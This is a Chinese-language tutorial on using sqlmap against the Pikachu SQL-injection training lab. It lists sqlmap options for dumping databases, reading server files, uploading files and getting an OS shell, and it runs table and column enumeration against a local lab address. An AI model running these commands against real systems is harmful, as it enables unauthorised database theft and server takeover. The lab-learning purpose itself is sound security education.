在之前的皮卡丘靶場第五期SQL注入的內容中我們談到了sqlmap,但是由于很多朋友看不了解命令行格式,所以是純手動獲取數據庫信息的
接下來我們就用sqlmap來進行皮卡丘靶場的sql注入學習,鏈接:https://wwhc.lanzoue.com/ifJY32ybh6vc
一,python環境配置
使用sqlmap需要用到python環境,所以我們先配置環境
python官方網站:https://www.python.org/
(python是免費的,別到盜版網站上付費使用),可以在download里面下載
根據自己的的電腦情況下載,我這里選擇Windows installer (64-bit)
然后根據他的要求來就行了,一定要打下面的兩個勾,意思是用管理員方式運行和添加到路徑,對于不了解的朋友來說,這是最方便配置的方法了
然后我們選擇上面的install now等待他安裝完成,然后點擊close即可
可以看到他已經配置好了路徑。
二,sqlmap命令
下面是常用的命令,如果希望詳細了解的話可以看一下sqlmap的中文手冊
https://wwhc.lanzoue.com/iSKxA2yegdch(我找不到更新的了所以只有1.4版本的)
GET方式
-u:指定注入的URL ? sqlmap -u URL
--dbs:爆出所有數據庫 sqlmap -u URL --dbs
--dbms:指定數據庫類型 sqlmap -u URL --dbms=mysql
--users:查看數據庫的所有用戶 sqlmap -u URL --users
--current-user:查看數據庫當前用戶 sqlmap -u URL --current-user
--current-db:查看網站當前數據庫 sqlmap -u URL --current-db
--is-dba:判斷當前用戶是否有管理員權限 sqlmap -u URL --is-dba
--roles:列出數據庫所有管理員角色,僅適用于oracle數據庫 sqlmap -u URL --roles
--tables:爆出所有數據表 sqlmap -u URL -D 數據庫名 --tables
--columns:爆出數據庫表所有列 sqlmap -u URL -D 數據庫名 -T 表名 --columns?
--dump:爆出數據庫中列中的所有數據 sqlmap -u URL -D 數據庫名 -T 表名 -C 列名 --dump
--dump-all:爆出數據庫中所有的數據 sqlmap -u URL -D 數據庫名 -T 表名 --dump-all
--sql-shell:獲取數據庫shell ?sqlmap -u URL --sql-shell
--os-shell:獲取服務器shell ?sqlmap -u URL --os-shell
--file-read:讀取服務器文件 ?sqlmap -u URL --file-read "文件路徑及名稱"
--file-write 本地文件 --file-dist 目標文件路徑及名稱:將本地文件上傳至目標服務器
--time-sec=2:延時注入 sqlmap -u URL --time-sec=2
--batch:探測過程中不進行詢問,一律選擇默認
-m:如果有多個url地址,可以把多個url保存成一個文本文件,-m可以加載文本文件逐個掃描
POST方式
-r:指定POST數據文件 ?sqlmap -r post.txt
--data:這種不需要將數據進行保存,只需要將post數據復制下來即可 sqlmap -u URL --data="post數據"
--forms:自動搜索表單的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":測試cookie字段
--param-del:參數拆分字符,當GET型或POST型需要用其他字符分割測試參數的時候需要用到此參數,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在請求中偽造http中的referer,當level參數設定為3或者3以上的時候會嘗試對referer注入
--headers:增加額外的http頭
--proxy:指定代理地址
-p:指定測試參數
三,sqlmap皮卡丘靶場實踐
我們還是以皮卡丘靶場第五期-sql注入模塊為例
我們用字符型做示范,因為前面的數字型只能用他提供的,不方便我們了解sqlmap這個工具
先隨便輸入看看
從url欄中我們可以知道自己的url地址,先復制下來
http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2
然后用sqlmap的-u方式來跑一下
python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"
(我用終端運行的,所以和cmd的樣式看起來有區別,但本質一樣)
由此,我們可以知道是mysql數據庫并且有name漏洞
獲取數據庫名稱
python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"?--current-db
可以看到成功了
獲取數據庫的所有表
python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"?-D pikachu --tables?
成功
獲取表的所有字段(這里以users為例,想要別的表單的字段,把上面獲取的表單名稱換掉就行)
python sqlmap.py -u?"http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"?-D pikachu -T users --columns
成功
就像套公式一樣就行,大家可以自行嘗試,我就不過多贅述了,只要根據上面常用的公式來就行了